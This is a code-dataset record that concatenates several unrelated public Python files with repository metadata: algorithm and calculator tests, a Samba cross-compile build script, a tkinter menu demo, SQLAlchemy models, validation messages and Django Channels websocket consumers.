ferhatelmas/algo

a7149c7a605708bc01a5cd30bf5455644cefd04d

[ "WTFPL" ]

25

2015-01-21T16:39:18.000Z

2021-05-24T07:01:24.000Z

codeEval/hard/levenshtein_distance.py

ferhatelmas/algo

a7149c7a605708bc01a5cd30bf5455644cefd04d

[ "WTFPL" ]

2

2020-09-30T19:39:36.000Z

2020-10-01T17:15:16.000Z

codeEval/hard/levenshtein_distance.py

ferhatelmas/algo

a7149c7a605708bc01a5cd30bf5455644cefd04d

[ "WTFPL" ]

15

2015-01-21T16:39:27.000Z

2020-10-01T17:00:22.000Z

import sys from string import ascii_lowercase as alphabet def generate_neighbours(ws, s): ls, l = set(), len(s) for i in xrange(l + 1): ls.add(s[:i] + s[i + 1 :]) for e in alphabet: ls.add(s[:i] + e + s[i:]) if i < l and e != s[i]: ls.add(s[:i] + e + s[i + 1 :]) return ls.intersection(ws) def generate_network(ws, s): gen, r = generate_neighbours(ws, s), set(s) while len(gen) > 0: s = gen.pop() if s not in r: r.add(s) gen.update(generate_neighbours(ws, s)) return len(r.intersection(ws)) test_cases = open(sys.argv[1], "r") words = set([test.strip() for test in test_cases]) test_cases.close() print generate_network(words, "hello")

25.4

50

0.552493

125

762

3.296

0.36

0.033981

0.145631

0.152913

0.048544

0

0.009259

0.291339

762

29

51

26.275862

0.753704

0

1

0

0.007874

0

null

0

0.086957

null

0.043478

0

null

0

1

0

null

0

1

0

2

46628dc5cc0651a6487fc8978ac7257bc4e97455

3,774

py

Python

test_calculator.py

Kidatoy/Advanced-Calculator

ebd3e436894116ec35b08872ffecdf762b079670

[ "MIT" ]

null

test_calculator.py

Kidatoy/Advanced-Calculator

ebd3e436894116ec35b08872ffecdf762b079670

[ "MIT" ]

null

test_calculator.py

Kidatoy/Advanced-Calculator

ebd3e436894116ec35b08872ffecdf762b079670

[ "MIT" ]

null

import unittest # https://docs.python.org/3/library/unittest.html from modules.calculator import Calculator as Calc class TestCalculator(unittest.TestCase): """ Test Driven Development Unittest File Module: Calculator Updated: 12/16/2019 Author: Kida Toy """ def test_addition(self): """ Evaluate addition corner cases """ self.assertEqual(2, Calc().eval('1+1')) self.assertEqual(2, Calc().eval('1.0+1.0')) self.assertEqual(0, Calc().eval('-1+1')) self.assertEqual(-2, Calc().eval('-1+-1')) def test_subtraction(self): """ Evaluate subtraction corner cases """ self.assertEqual(0, Calc().eval('1-1')) self.assertEqual(-2, Calc().eval('-1-1')) self.assertEqual(0, Calc().eval('-1--1')) def test_multiplication(self): """ Evaluate multiplication corner cases """ self.assertEqual(0, Calc().eval('1*0')) self.assertEqual(0, Calc().eval('0*-1')) self.assertEqual(1, Calc().eval('1*1')) self.assertEqual(-1, Calc().eval('-1*1')) self.assertEqual(1, Calc().eval('-1*-1')) self.assertEqual(1, Calc().eval('.25*4')) def test_division(self): """ Test division corner cases Note: division by zero is handled in test_exceptions """ self.assertEqual(1, Calc().eval('1/1')) self.assertEqual(.25, Calc().eval('1/4')) self.assertEqual(-1, Calc().eval('-1/1')) self.assertEqual(1, Calc().eval('-1/-1')) self.assertEqual(0, Calc().eval('0/-1')) def test_exponents(self): """ Test exponent corner cases """ self.assertEqual(1, Calc().eval('2^0')) self.assertEqual(2, Calc().eval('2^1')) self.assertEqual(4, Calc().eval('2^2')) self.assertEqual(.5, Calc().eval('2^-1')) self.assertEqual(4, Calc().eval('-2^2')) def test_parentheses(self): """ Test parentheses corner cases """ self.assertEqual(5.0, Calc().eval('(4.0)+1')) self.assertEqual(3.0, Calc().eval('(4+1)-2')) self.assertEqual(5.0, Calc().eval('(5+-5)+5')) self.assertEqual(-5.0, Calc().eval('(-10+3)+2')) self.assertEqual(-26.0, Calc().eval('10-(3*2)^2')) def test_pi(self): """ Test pi corner cases """ self.assertEqual(4.1415926535, Calc().eval('(pi)+1')) self.assertEqual(1.1415926535, Calc().eval('(pi)-2')) self.assertEqual(3.1415926535, Calc().eval('(pi+-5)+5')) self.assertEqual(1.8584073465, Calc().eval('(-pi+3)+2')) self.assertEqual(-29.478417602100684, Calc().eval('10-(pi*2)^2')) self.assertEqual(1.57079632675, Calc().eval('pi/2')) def test_e(self): """ Test e corner cases """ self.assertEqual(3.7182818284, Calc().eval('(e)+1')) self.assertEqual(0.7182818283999999, Calc().eval('(e)-2')) self.assertEqual(2.7182818284, Calc().eval('(e+-5)+5')) self.assertEqual(2.2817181716, Calc().eval('(-e+3)+2')) self.assertEqual(-19.556224394438587, Calc().eval('10-(e*2)^2')) self.assertEqual(1.3591409142, Calc().eval('e/2')) def test_phi(self): """ Test phi corner cases """ self.assertEqual(2.6180339886999997, Calc().eval('(phi)+1')) self.assertEqual(-0.3819660113000001, Calc().eval('(phi)-2')) self.assertEqual(1.6180339886999997, Calc().eval('(phi+-5)+5')) self.assertEqual(3.3819660113000003, Calc().eval('(-phi+3)+2')) self.assertEqual(-0.47213595435372646, Calc().eval('10-(phi*2)^2')) self.assertEqual(0.80901699435, Calc().eval('phi/2'))

36.640777

75

0.560943

481

3,774

4.380457

0.160083

0.32748

0.129094

0.056953

0.365449

0.311343

0.261035

0.245847

0.223541

0.180826

0

0.135658

0.232379

3,774

102

76

37

0.591647

0.117647

0

0.086492

0

0.793103

1

0.155172

false

0

0.034483

0

0.206897

0

null

1

0

null

0

1

0

2

467608de6f71ab4b616b2d09915c4d849b7654e0

624

py

Python

premailer/tests/test_utils.py

p12tic/premailer

ebfd310dbd0a88b465e811411f67a360e11f3292

[ "BSD-3-Clause" ]

null

premailer/tests/test_utils.py

p12tic/premailer

ebfd310dbd0a88b465e811411f67a360e11f3292

[ "BSD-3-Clause" ]

1

2018-11-23T11:58:22.000Z

2018-11-23T13:58:13.000Z

premailer/tests/test_utils.py

lavr/premailer

ebfd310dbd0a88b465e811411f67a360e11f3292

[ "BSD-3-Clause" ]

null

import unittest from premailer.premailer import capitalize_float_margin class UtilsTestCase(unittest.TestCase): def testcapitalize_float_margin(self): self.assertEqual( capitalize_float_margin('margin:1em'), 'Margin:1em') self.assertEqual( capitalize_float_margin('margin-left:1em'), 'Margin-left:1em') self.assertEqual( capitalize_float_margin('float:right;'), 'Float:right;') self.assertEqual( capitalize_float_margin('float:right;color:red;margin:0'), 'Float:right;color:red;Margin:0')

31.2

70

0.639423

64

624

6.046875

0.3125

0.170543

0.271318

0.310078

0.573643

0.237726

0

0.012848

0.251603

624

19

71

32.842105

0.815846

0

0.25

0

0.214744

0.096154

0

0.25

1

0.0625

false

0

0.125

0

0.25

0

null

0

1

0

null

0

2

4677247e7b07ffee44bb30042c587480349f229e

914

py

Python

POO/Heranca/aula107_classes.py

pinheirogus/Curso-Python-Udemy

d6d52320426172e924081b9df619490baa8c6016

[ "MIT" ]

1

2021-09-01T01:58:13.000Z

POO/Heranca/aula107_classes.py

pinheirogus/Curso-Python-Udemy

d6d52320426172e924081b9df619490baa8c6016

[ "MIT" ]

null

POO/Heranca/aula107_classes.py

pinheirogus/Curso-Python-Udemy

d6d52320426172e924081b9df619490baa8c6016

[ "MIT" ]

null

# Generalizando para não repetir o código! class Pessoa: def __init__(self, nome, idade): self.nome = nome self.idade = idade self.nomeclasse = self.__class__.__name__ def falar(self): print(f'{self.nomeclasse} está falando.') class Cliente(Pessoa): def comprar(self): print(f'{self.nomeclasse} está comprando...') class Aluno(Pessoa): def estudar(self): print(f'{self.nomeclasse} está estudando...') class ClienteVIP(Cliente): def __init__(self, nome, idade, sobrenome): super().__init__(nome, idade) print(f'{self.nome}, {self.idade} anos, criado com sucesso.') self.sobrenome = sobrenome def falar(self): Pessoa.falar(self) # Como a classe Cliente não possui o método falar(), o Python busca na superclasse o método. Cliente.falar(self) print(f'{self.nome} {self.sobrenome}')

28.5625

100

0.63895

114

914

4.947368

0.368421

0.070922

0.088652

0.099291

0.308511

0.148936

0

0.237418

914

32

101

28.5625

0.809182

0.143326

0

0.090909

0

0.230474

0

0.03125

0

1

0.272727

false

0

0.454545

0.227273

0

null

0

null

0

1

0

1

0

2

46779bc59fb8e412188640c04f3538454363b415

13,483

py

Python

Package/CONFIG.py

YuanYuLin/samba

ef8aaca2c539b0d241414e7f335b4ff939461558

[ "MIT" ]

null

Package/CONFIG.py

YuanYuLin/samba

ef8aaca2c539b0d241414e7f335b4ff939461558

[ "MIT" ]

null

Package/CONFIG.py

YuanYuLin/samba

ef8aaca2c539b0d241414e7f335b4ff939461558

[ "MIT" ]

null

import ops import iopc TARBALL_FILE="samba-4.8.4.tar.gz" TARBALL_DIR="samba-4.8.4" INSTALL_DIR="samba-bin" pkg_path = "" output_dir = "" tarball_pkg = "" tarball_dir = "" install_dir = "" install_tmp_dir = "" cc_host = "" tmp_include_dir = "" dst_include_dir = "" dst_lib_dir = "" dst_usr_local_lib_dir = "" def set_global(args): global pkg_path global output_dir global tarball_pkg global install_dir global install_tmp_dir global tarball_dir global cc_host global tmp_include_dir global dst_include_dir global dst_lib_dir global dst_usr_local_lib_dir global dst_usr_local_libexec_dir global dst_usr_local_share_dir global dst_usr_local_dir global src_pkgconfig_dir global dst_pkgconfig_dir global dst_bin_dir global dst_etc_dir global install_test_utils pkg_path = args["pkg_path"] output_dir = args["output_path"] tarball_pkg = ops.path_join(pkg_path, TARBALL_FILE) install_dir = ops.path_join(output_dir, INSTALL_DIR) install_tmp_dir = ops.path_join(output_dir, INSTALL_DIR + "-tmp") tarball_dir = ops.path_join(output_dir, TARBALL_DIR) cc_host_str = ops.getEnv("CROSS_COMPILE") cc_host = cc_host_str[:len(cc_host_str) - 1] tmp_include_dir = ops.path_join(output_dir, ops.path_join("include",args["pkg_name"])) dst_include_dir = ops.path_join("include",args["pkg_name"]) dst_lib_dir = ops.path_join(install_dir, "lib") dst_bin_dir = ops.path_join(install_dir, "bin") dst_etc_dir = ops.path_join(install_dir, "etc") dst_usr_local_lib_dir = ops.path_join(install_dir, "usr/local/lib") dst_usr_local_dir = ops.path_join(install_dir, "usr/local") dst_usr_local_libexec_dir = ops.path_join(install_dir, "usr/local/libexec") dst_usr_local_share_dir = ops.path_join(install_dir, "usr/local/share") src_pkgconfig_dir = ops.path_join(pkg_path, "pkgconfig") dst_pkgconfig_dir = ops.path_join(install_dir, "pkgconfig") if ops.getEnv("INSTALL_TEST_UTILS") == 'y': install_test_utils = True else: install_test_utils = False def MAIN_ENV(args): set_global(args) ops.exportEnv(ops.setEnv("CC", ops.getEnv("CROSS_COMPILE") + "gcc")) ''' ops.exportEnv(ops.setEnv("CXX", ops.getEnv("CROSS_COMPILE") + "g++")) ops.exportEnv(ops.setEnv("CPP", ops.getEnv("CROSS_COMPILE") + "g++")) ops.exportEnv(ops.setEnv("AR", ops.getEnv("CROSS_COMPILE") + "ar")) ops.exportEnv(ops.setEnv("RANLIB", ops.getEnv("CROSS_COMPILE") + "ranlib")) ops.exportEnv(ops.setEnv("CROSS", ops.getEnv("CROSS_COMPILE"))) ''' ops.exportEnv(ops.setEnv("DESTDIR", install_tmp_dir)) return False def MAIN_EXTRACT(args): set_global(args) ops.unTarGz(tarball_pkg, output_dir) return True def MAIN_PATCH(args, patch_group_name): set_global(args) for patch in iopc.get_patch_list(pkg_path, patch_group_name): if iopc.apply_patch(tarball_dir, patch): continue else: sys.exit(1) return True def MAIN_CONFIGURE(args): set_global(args) job_count = ops.getEnv("BUILD_JOBS_COUNT") extra_conf = [] ''' #extra_conf.append("--cross-compile") #extra_conf.append("-C -V") #extra_conf.append("--cross-answers=cc.txt") #extra_conf.append("--hostcc=" + cc_host) extra_conf.append("--abi-check-disable") extra_conf.append("--disable-rpath") extra_conf.append("--bundled-libraries=NONE") #extra_conf.append("--cross-execute='qemu-arm-static -L /usr/arm-linux-gnu'") extra_conf.append("--jobs=" + job_count) extra_conf.append("--disable-gnutls") #extra_conf.append("--private-libraries=NONE") extra_conf.append("--without-gettext") extra_conf.append("--without-systemd") extra_conf.append("--without-ad-dc") extra_conf.append("--without-ads") extra_conf.append("--without-winbind") extra_conf.append("--without-ldap") extra_conf.append("--without-pam") extra_conf.append("--without-pie") extra_conf.append("--without-fam") extra_conf.append("--without-dmapi") extra_conf.append("--without-automount") extra_conf.append("--without-utmp") extra_conf.append("--without-dnsupdate") extra_conf.append("--without-acl-support") extra_conf.append("--without-quotas") extra_conf.append("--without-cluster-support") extra_conf.append("--disable-glusterfs") extra_conf.append("--without-profiling-data") extra_conf.append("--without-libarchive") extra_conf.append("--without-regedit") extra_conf.append("--without-ntvfs-fileserver") extra_conf.append("--disable-python") extra_conf.append("--disable-cups") extra_conf.append("--disable-iprint") extra_conf.append("--disable-avahi") ''' extra_conf.append("--disable-python") extra_conf.append("--without-ad-dc") extra_conf.append("--without-acl-support") extra_conf.append("--without-ldap") extra_conf.append("--without-ads") extra_conf.append("--without-pam") extra_conf.append("--without-gettext") extra_conf.append("--jobs=" + job_count) extra_conf.append("--without-systemd") extra_conf.append("--without-regedit") extra_conf.append("--without-cluster-support") extra_conf.append("--without-ntvfs-fileserver") extra_conf.append("--without-winbind") extra_conf.append("--disable-glusterfs") extra_conf.append("--disable-cups") extra_conf.append("--disable-iprint") extra_conf.append("--disable-avahi") extra_conf.append("--without-automount") extra_conf.append("--without-dnsupdate") extra_conf.append("--without-fam") extra_conf.append("--without-dmapi") extra_conf.append("--without-quotas") extra_conf.append("--without-profiling-data") extra_conf.append("--without-utmp") extra_conf.append("--without-libarchive") #extra_conf.append("--enable-developer") print extra_conf #iopc.waf(tarball_dir, extra_conf) iopc.configure(tarball_dir, extra_conf) return True def MAIN_BUILD(args): set_global(args) ops.mkdir(install_dir) ops.mkdir(install_tmp_dir) iopc.make(tarball_dir) iopc.make_install(tarball_dir) ops.mkdir(install_dir) ops.mkdir(dst_lib_dir) ops.mkdir(dst_bin_dir) ops.mkdir(dst_usr_local_dir) ops.copyto(ops.path_join(install_tmp_dir, "usr/local/samba/sbin/nmbd"), dst_bin_dir) ops.copyto(ops.path_join(install_tmp_dir, "usr/local/samba/sbin/smbd"), dst_bin_dir) ops.copyto(ops.path_join(install_tmp_dir, "usr/local/samba/lib/libdcerpc-binding.so.0.0.1"), dst_lib_dir) ops.ln(dst_lib_dir, "libdcerpc-binding.so.0.0.1", "libdcerpc-binding.so.0.0") ops.ln(dst_lib_dir, "libdcerpc-binding.so.0.0.1", "libdcerpc-binding.so.0") ops.ln(dst_lib_dir, "libdcerpc-binding.so.0.0.1", "libdcerpc-binding.so") ops.copyto(ops.path_join(install_tmp_dir, "usr/local/samba/lib/libdcerpc-samr.so.0.0.1"), dst_lib_dir) ops.ln(dst_lib_dir, "libdcerpc-samr.so.0.0.1", "libdcerpc-samr.so.0.0") ops.ln(dst_lib_dir, "libdcerpc-samr.so.0.0.1", "libdcerpc-samr.so.0") ops.ln(dst_lib_dir, "libdcerpc-samr.so.0.0.1", "libdcerpc-samr.so") ops.copyto(ops.path_join(install_tmp_dir, "usr/local/samba/lib/libdcerpc.so.0.0.1"), dst_lib_dir) ops.ln(dst_lib_dir, "libdcerpc.so.0.0.1", "libdcerpc.so.0.0") ops.ln(dst_lib_dir, "libdcerpc.so.0.0.1", "libdcerpc.so.0") ops.ln(dst_lib_dir, "libdcerpc.so.0.0.1", "libdcerpc.so") ops.copyto(ops.path_join(install_tmp_dir, "usr/local/samba/lib/libndr-krb5pac.so.0.0.1"), dst_lib_dir) ops.ln(dst_lib_dir, "libndr-krb5pac.so.0.0.1", "libndr-krb5pac.so.0.0") ops.ln(dst_lib_dir, "libndr-krb5pac.so.0.0.1", "libndr-krb5pac.so.0") ops.ln(dst_lib_dir, "libndr-krb5pac.so.0.0.1", "libndr-krb5pac.so") ops.copyto(ops.path_join(install_tmp_dir, "usr/local/samba/lib/libndr-nbt.so.0.0.1"), dst_lib_dir) ops.ln(dst_lib_dir, "libndr-nbt.so.0.0.1", "libndr-nbt.so.0.0") ops.ln(dst_lib_dir, "libndr-nbt.so.0.0.1", "libndr-nbt.so.0") ops.ln(dst_lib_dir, "libndr-nbt.so.0.0.1", "libndr-nbt.so") ops.copyto(ops.path_join(install_tmp_dir, "usr/local/samba/lib/libndr.so.0.1.0"), dst_lib_dir) ops.ln(dst_lib_dir, "libndr.so.0.1.0", "libndr.so.0.1") ops.ln(dst_lib_dir, "libndr.so.0.1.0", "libndr.so.0") ops.ln(dst_lib_dir, "libndr.so.0.1.0", "libndr.so") ops.copyto(ops.path_join(install_tmp_dir, "usr/local/samba/lib/libndr-standard.so.0.0.1"), dst_lib_dir) ops.ln(dst_lib_dir, "libndr-standard.so.0.0.1", "libndr-standard.so.0.0") ops.ln(dst_lib_dir, "libndr-standard.so.0.0.1", "libndr-standard.so.0") ops.ln(dst_lib_dir, "libndr-standard.so.0.0.1", "libndr-standard.so") ops.copyto(ops.path_join(install_tmp_dir, "usr/local/samba/lib/libnetapi.so.0"), dst_lib_dir) ops.ln(dst_lib_dir, "libnetapi.so.0", "libnetapi.so") ops.copyto(ops.path_join(install_tmp_dir, "usr/local/samba/lib/libnss_winbind.so.2"), dst_lib_dir) ops.ln(dst_lib_dir, "libnss_winbind.so.2", "libnss_winbind.so") ops.copyto(ops.path_join(install_tmp_dir, "usr/local/samba/lib/libnss_wins.so.2"), dst_lib_dir) ops.ln(dst_lib_dir, "libnss_wins.so.2", "libnss_wins.so") ops.copyto(ops.path_join(install_tmp_dir, "usr/local/samba/lib/libsamba-credentials.so.0.0.1"), dst_lib_dir) ops.ln(dst_lib_dir, "libsamba-credentials.so.0.0.1", "libsamba-credentials.so.0.0") ops.ln(dst_lib_dir, "libsamba-credentials.so.0.0.1", "libsamba-credentials.so.0") ops.ln(dst_lib_dir, "libsamba-credentials.so.0.0.1", "libsamba-credentials.so") ops.copyto(ops.path_join(install_tmp_dir, "usr/local/samba/lib/libsamba-errors.so.1"), dst_lib_dir) ops.ln(dst_lib_dir, "libsamba-errors.so.1", "libsamba-errors.so") ops.copyto(ops.path_join(install_tmp_dir, "usr/local/samba/lib/libsamba-hostconfig.so.0.0.1"), dst_lib_dir) ops.ln(dst_lib_dir, "libsamba-hostconfig.so.0.0.1", "libsamba-hostconfig.so.0.0") ops.ln(dst_lib_dir, "libsamba-hostconfig.so.0.0.1", "libsamba-hostconfig.so.0") ops.ln(dst_lib_dir, "libsamba-hostconfig.so.0.0.1", "libsamba-hostconfig.so") ops.copyto(ops.path_join(install_tmp_dir, "usr/local/samba/lib/libsamba-passdb.so.0.27.0"), dst_lib_dir) ops.ln(dst_lib_dir, "libsamba-passdb.so.0.27.0", "libsamba-passdb.so.0.27") ops.ln(dst_lib_dir, "libsamba-passdb.so.0.27.0", "libsamba-passdb.so.0") ops.ln(dst_lib_dir, "libsamba-passdb.so.0.27.0", "libsamba-passdb.so") ops.copyto(ops.path_join(install_tmp_dir, "usr/local/samba/lib/libsamba-util.so.0.0.1"), dst_lib_dir) ops.ln(dst_lib_dir, "libsamba-util.so.0.0.1", "libsamba-util.so.0.0") ops.ln(dst_lib_dir, "libsamba-util.so.0.0.1", "libsamba-util.so.0") ops.ln(dst_lib_dir, "libsamba-util.so.0.0.1", "libsamba-util.so") ops.copyto(ops.path_join(install_tmp_dir, "usr/local/samba/lib/libsamdb.so.0.0.1"), dst_lib_dir) ops.ln(dst_lib_dir, "libsamdb.so.0.0.1", "libsamdb.so.0.0") ops.ln(dst_lib_dir, "libsamdb.so.0.0.1", "libsamdb.so.0") ops.ln(dst_lib_dir, "libsamdb.so.0.0.1", "libsamdb.so") ops.copyto(ops.path_join(install_tmp_dir, "usr/local/samba/lib/libsmbclient.so.0.3.1"), dst_lib_dir) ops.ln(dst_lib_dir, "libsmbclient.so.0.3.1", "libsmbclient.so.0.3") ops.ln(dst_lib_dir, "libsmbclient.so.0.3.1", "libsmbclient.so.0") ops.ln(dst_lib_dir, "libsmbclient.so.0.3.1", "libsmbclient.so") ops.copyto(ops.path_join(install_tmp_dir, "usr/local/samba/lib/libsmbconf.so.0"), dst_lib_dir) ops.ln(dst_lib_dir, "libsmbconf.so.0", "libsmbconf.so") ops.copyto(ops.path_join(install_tmp_dir, "usr/local/samba/lib/libtevent-util.so.0.0.1"), dst_lib_dir) ops.ln(dst_lib_dir, "libtevent-util.so.0.0.1", "libtevent-util.so.0.0") ops.ln(dst_lib_dir, "libtevent-util.so.0.0.1", "libtevent-util.so.0") ops.ln(dst_lib_dir, "libtevent-util.so.0.0.1", "libtevent-util.so") ops.copyto(ops.path_join(install_tmp_dir, "usr/local/samba/lib/libwbclient.so.0.14"), dst_lib_dir) ops.ln(dst_lib_dir, "libwbclient.so.0.14", "libwbclient.so.0") ops.ln(dst_lib_dir, "libwbclient.so.0.14", "libwbclient.so") ops.copyto(ops.path_join(install_tmp_dir, "usr/local/samba/lib/winbind_krb5_locator.so"), dst_lib_dir) ops.copyto(ops.path_join(install_tmp_dir, "usr/local/samba/lib/private/."), dst_lib_dir) ops.copyto(ops.path_join(install_tmp_dir, "usr/local/samba/lib/auth"), dst_lib_dir) ops.copyto(ops.path_join(install_tmp_dir, "usr/local/samba/lib/idmap"), dst_lib_dir) ops.copyto(ops.path_join(install_tmp_dir, "usr/local/samba/lib/ldb"), dst_lib_dir) ops.copyto(ops.path_join(install_tmp_dir, "usr/local/samba/lib/nss_info"), dst_lib_dir) ops.copyto(ops.path_join(install_tmp_dir, "usr/local/samba/lib/vfs"), dst_lib_dir) ops.ln(dst_usr_local_dir, "/tmp/samba", "samba") return True def MAIN_INSTALL(args): set_global(args) iopc.installBin(args["pkg_name"], ops.path_join(dst_lib_dir, "."), "lib") iopc.installBin(args["pkg_name"], ops.path_join(dst_bin_dir, "."), "usr/sbin") iopc.installBin(args["pkg_name"], ops.path_join(dst_usr_local_dir, "."), "usr/local") #iopc.installBin(args["pkg_name"], ops.path_join(tmp_include_dir, "."), dst_include_dir) #iopc.installBin(args["pkg_name"], ops.path_join(dst_pkgconfig_dir, '.'), "pkgconfig") return False def MAIN_SDKENV(args): set_global(args) return False def MAIN_CLEAN_BUILD(args): set_global(args) return False def MAIN(args): set_global(args)

42.533123

112

0.705555

2,219

13,483

4.038306

0.081118

0.0308

0.081353

0.06015

0.77045

0.73195

0.688651

0.685191

0.632296

0.515902

0

0.021174

0.120819

13,483

316

113

42.667722

0.734773

0.018097

0

0.099057

0

0.331317

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0.018868

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null

0

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null

0

1

0

2

4680d6848613dfb9b8af98b8d4dd6e1f33bd4389

1,008

py

Python

Interfas Grafica XI (GUI)/InterfasGraficaXI.py

BrianMarquez3/Python-Course

2622b4ddfd687505becfd246e82a2ed0cb9b76f3

[ "MIT" ]

20

2020-08-19T23:27:01.000Z

2022-02-03T12:02:17.000Z

Interfas Grafica XI (GUI)/InterfasGraficaXI.py

BrianMarquez3/Python-Course

2622b4ddfd687505becfd246e82a2ed0cb9b76f3

[ "MIT" ]

1

2021-04-10T18:06:05.000Z

Interfas Grafica XI (GUI)/InterfasGraficaXI.py

BrianMarquez3/Python-Course

2622b4ddfd687505becfd246e82a2ed0cb9b76f3

[ "MIT" ]

2

2020-12-03T19:35:36.000Z

2021-11-10T14:58:39.000Z

# Interfas Grafica XI # Menu from tkinter import * root=Tk() barraMenu=Menu(root) root.config(menu=barraMenu, width=600, height=400) archivoMenu=Menu(barraMenu, tearoff=0) archivoMenu.add_command(label="Nuevo") archivoMenu.add_command(label="Guardar") archivoMenu.add_command(label="Guardar Como") archivoMenu.add_separator() archivoMenu.add_command(label="Cerrar") archivoMenu.add_command(label="Salir") archivoEdicion=Menu(barraMenu, tearoff=0) archivoHerramientas=Menu(barraMenu) archivoEdicion.add_command(label="Copiar") archivoEdicion.add_command(label="Cortar") archivoEdicion.add_command(label="Pegar") archivoAyuda=Menu(barraMenu, tearoff=0) barraMenu.add_cascade(label="Archivo", menu=archivoMenu) barraMenu.add_cascade(label="Edicion", menu=archivoEdicion) barraMenu.add_cascade(label="Herramienta", menu=archivoHerramientas) barraMenu.add_cascade(label="Ayuda", menu=archivoAyuda) archivoAyuda.add_command(label="Licencia") archivoAyuda.add_command(label="Acerca de...") root.mainloop()

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0.041667

0

null

0

1

0

null

0

2

46917396382ee9f0addf54bb780182338681e694

1,757

py

Python

tmpmodels.py

firaan1/iamgrateful

445260313ab94dfdaf310a6766e848c8df94b624

[ "MIT" ]

null

tmpmodels.py

firaan1/iamgrateful

445260313ab94dfdaf310a6766e848c8df94b624

[ "MIT" ]

null

tmpmodels.py

firaan1/iamgrateful

445260313ab94dfdaf310a6766e848c8df94b624

[ "MIT" ]

null

from sqlalchemy.ext.declarative import declarative_base from sqlalchemy import create_engine from sqlalchemy import Column, Integer, String, Text, ForeignKey, DateTime, func, Boolean from sqlalchemy.orm import relation, sessionmaker, relationship, backref from datetime import datetime import os # Database DATABASE = 'sqlite:///db.sqlite3' DEBUG = True # ORM Base = declarative_base() # model class User(Base): __tablename__ = 'user' id = Column(Integer, primary_key=True, autoincrement=True) passcode = Column(Integer, nullable=False) question = Column(String) answer = Column(String) def __init__(self, passcode): self.passcode = passcode def __repr__(self): return '<User %s>' % {self.id} class Memory(Base): __tablename__ = 'memory' id = Column(Integer, primary_key=True, autoincrement=True) happiness = Column(Integer) date = Column(DateTime, default = datetime.now()) things = relationship('Thing', secondary = 'memory_thing_link') def __repr__(self): return '<Memory %s>' % {self.date} class Thing(Base): __tablename__ = 'thing' id = Column(Integer, primary_key=True, autoincrement=True) text = Column(Text) def __repr__(self): return '<Item %s>' % {self.text} class MemoryThingLink(Base): __tablename__ = 'memory_thing_link' memory_id = Column(Integer, ForeignKey('memory.id'), primary_key=True) thing_id = Column(Integer, ForeignKey('thing.id'), primary_key=True) # if __name__ == '__main__': # connection engine = create_engine(DATABASE, echo = DEBUG) session_factory = sessionmaker(bind = engine) session = session_factory() # initialize database if not os.path.exists('db.sqlite3'): Base.metadata.create_all(engine)

30.824561

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null

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null

0

1

0

1

0

2

46a39565f7364f7f1fb4b269da3328cdcc2b0021

97

py

Python

jarvis/__init__.py

jduncan8142/JARVIS

387003bc00cea2ca74d7094a92e55eab593a968a

[ "MIT" ]

null

jarvis/__init__.py

jduncan8142/JARVIS

387003bc00cea2ca74d7094a92e55eab593a968a

[ "MIT" ]

null

jarvis/__init__.py

jduncan8142/JARVIS

387003bc00cea2ca74d7094a92e55eab593a968a

[ "MIT" ]

null

__version__ = "0.0.3" __author__ = "Jason Duncan" __support__ = "jason.matthew.duncan@gmail.com"

24.25

46

0.742268

13

97

4.615385

0.769231

0

0.034483

0.103093

97

3

47

32.333333

0.655172

0

0.484536

0.309278

0

1

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0

1

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null

0

1

0

null

0

2

46ad743d904b177a6882bac14c8a5ed867753ee6

2,436

py

Python

app/validation/translator.py

codingedward/book-a-meal-api

36756abc225bf7e8306330f2c3e223dc32af7869

[ "MIT" ]

null

app/validation/translator.py

codingedward/book-a-meal-api

36756abc225bf7e8306330f2c3e223dc32af7869

[ "MIT" ]

null

app/validation/translator.py

codingedward/book-a-meal-api

36756abc225bf7e8306330f2c3e223dc32af7869

[ "MIT" ]

2

2018-10-01T17:45:19.000Z

2020-12-07T13:48:25.000Z

"""Translates validation error messages for the response""" messages = { 'accepted': 'The :field: must be accepted.', 'after': 'The :field: must be a date after :other:.', 'alpha': 'The :field: may contain only letters.', 'alpha_dash': 'The :field: may only contain letters, numbers, and dashes.', 'alpha_num': 'The :field: may contain only letters and numbers.', 'array': 'The :field: must be an array.', 'before': 'The :field: must be a date before :other:.', 'between': 'The :field: must be between :least: and :most:.', 'between_string': 'The :field: must be between :least: and :most: characters.', 'between_numeric': 'The :field: must be between :least: and :most:.', 'boolean': 'The :field: must be either true or false.', 'confirmed': 'The :field: confirmation does not match.', 'date': 'The :field: is not a valid date.', 'different': 'The :field: and :other: must be different.', 'digits': 'The :field: must be :length: digits.', 'email': 'The :field: must be a valid email address.', 'exists': 'The selected :field: is invalid.', 'found_in': 'The selected :field: is invalid.', 'integer': 'The :field: must be an integer.', 'json': 'The :field: must be valid json format.', 'most_string': 'The :field: must not be greater than :most: characters.', 'most_numeric': 'The :field: must not be greater than :most:.', 'least_string': 'The :field: must be at least :least: characters.', 'least_numeric': 'The :field: must be at least :least:.', 'not_in': 'The selected :field: is invalid.', 'numeric': 'The :field: must be a number.', 'positive': 'The :field: must be a positive number.', 'regex': 'The :field: format is invalid.', 'required': 'The :field: field is required.', 'required_with': 'The :field: field is required when :other: is present.', 'required_without': 'The :field: field is required when :other: si not present.', 'same': 'The :field: and :other: must match.', 'size_string': 'The :field: must be :size: characters.', 'size_numeric': 'The :field: must be :size:.', 'string': 'The :field: must be a string.', 'unique': 'The :field: is already taken.', 'url': 'The :field: format is invalid.', } def trans(rule, fields): message = messages[rule] for k, v in fields.items(): message = message.replace(k, v).replace('_', ' ') return message

47.764706

85

0.630542

332

2,436

4.581325

0.262048

0.17883

0.16568

0.174885

0.491124

0.313609

0.183432

0.107166

0

0.202381

2,436

50

86

48.72

0.78281

0.021757

0

0.736532

0

1

0.022727

false

0

0.045455

0

null

0

1

0

1

0

null

0

2

46af16319f2d029f582d103a8745545d6de7422c

333

py

Python

chat/main/consumers.py

mlambir/channels_talk_pyconar2016

82e54eb914fb005fcdebad1ed07cede898957733

[ "MIT" ]

12

2016-11-30T15:22:22.000Z

2018-02-27T23:03:12.000Z

chat/main/consumers.py

mlambir/channels_talk_pyconar2016

82e54eb914fb005fcdebad1ed07cede898957733

[ "MIT" ]

null

chat/main/consumers.py

mlambir/channels_talk_pyconar2016

82e54eb914fb005fcdebad1ed07cede898957733

[ "MIT" ]

null

from channels import Group # websocket.connect def ws_add(message): Group("chat").add(message.reply_channel) # websocket.receive def ws_message(message): Group("chat").send({ "text": message.content['text'], }) # websocket.disconnect def ws_disconnect(message): Group("chat").discard(message.reply_channel)

22.2

48

0.708709

41

333

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0.463415

0.064935

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0

0.144144

333

15

48

22.2

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false

0

